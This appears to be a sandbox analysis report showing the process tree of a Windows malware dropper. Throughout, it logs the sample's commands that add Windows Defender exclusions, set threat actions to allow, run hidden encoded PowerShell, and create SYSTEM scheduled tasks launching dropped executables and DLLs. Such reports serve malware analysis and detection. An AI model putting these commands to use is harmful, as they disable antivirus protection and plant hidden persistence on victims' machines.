                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:1848
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                2⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1252
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:3860
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:1408
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:2304
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:4680
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:1560
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:4668
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:4104
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:4460
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:3504
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:4728
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:4456
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:4304
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:460
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:1552
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:4980
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:1820
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:856
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3384
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4464
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:5004
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2036
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "gDugHZFkr" /SC once /ST 00:10:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                          2⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:4796
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /run /I /tn "gDugHZFkr"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:3328
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /DELETE /F /TN "gDugHZFkr"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1972
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 00:00:12 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\GVKhhit.exe\" 0c /TRVJdidtQ 385123 /S" /V1 /F
                                                                                                                                                              2⤵
                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                              PID:460
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3500
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5020 -s 1056
                                                                                                                                                                2⤵
                                                                                                                                                                • Program crash
                                                                                                                                                                PID:4420
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                              1⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                              PID:2488
                                                                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:5088
                                                                                                                                                              • C:\Windows\system32\gpscript.exe
                                                                                                                                                                gpscript.exe /RefreshSystemParam
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:2672
                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:3788
                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:1184
                                                                                                                                                                    • C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\GVKhhit.exe
                                                                                                                                                                      C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\GVKhhit.exe 0c /TRVJdidtQ 385123 /S
                                                                                                                                                                      1⤵
                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Drops Chrome extension
                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      PID:2256
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:4872
                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1876
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1996
                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:2084
                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:3624
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:4584
                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:2700
                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:532
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:752
                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:2184
                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                              forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:4528
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:4452
                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:1284
                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:2172
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:2244
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            PID:4180
                                                                                                                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:536
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:1824
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:2168
                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4896
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:2124
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                      PID:5080
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:2340
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\GTjYhJ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3672
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\dtdtxUe.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:4752
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /END /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:3524
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:3348
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\rIrPuDo.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:2132
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\ViBnfpi.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:5104
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\fKgMZDk.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:3908
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\xjHJfMY.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:3184
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "BjyVbWVaXyfCTlHuI" /SC once /ST 00:06:39 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QqEAMUespgTHJnVz\AFJjvLpP\JxHUlXQ.dll\",#1 /OMTdidyaD 385123" /V1 /F
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:3000
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /run /I /tn "BjyVbWVaXyfCTlHuI"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:2168
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /DELETE /F /TN "ZTNkTKukmvvbOMPkn"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:4836
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2256 -s 2236
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                        PID:1432
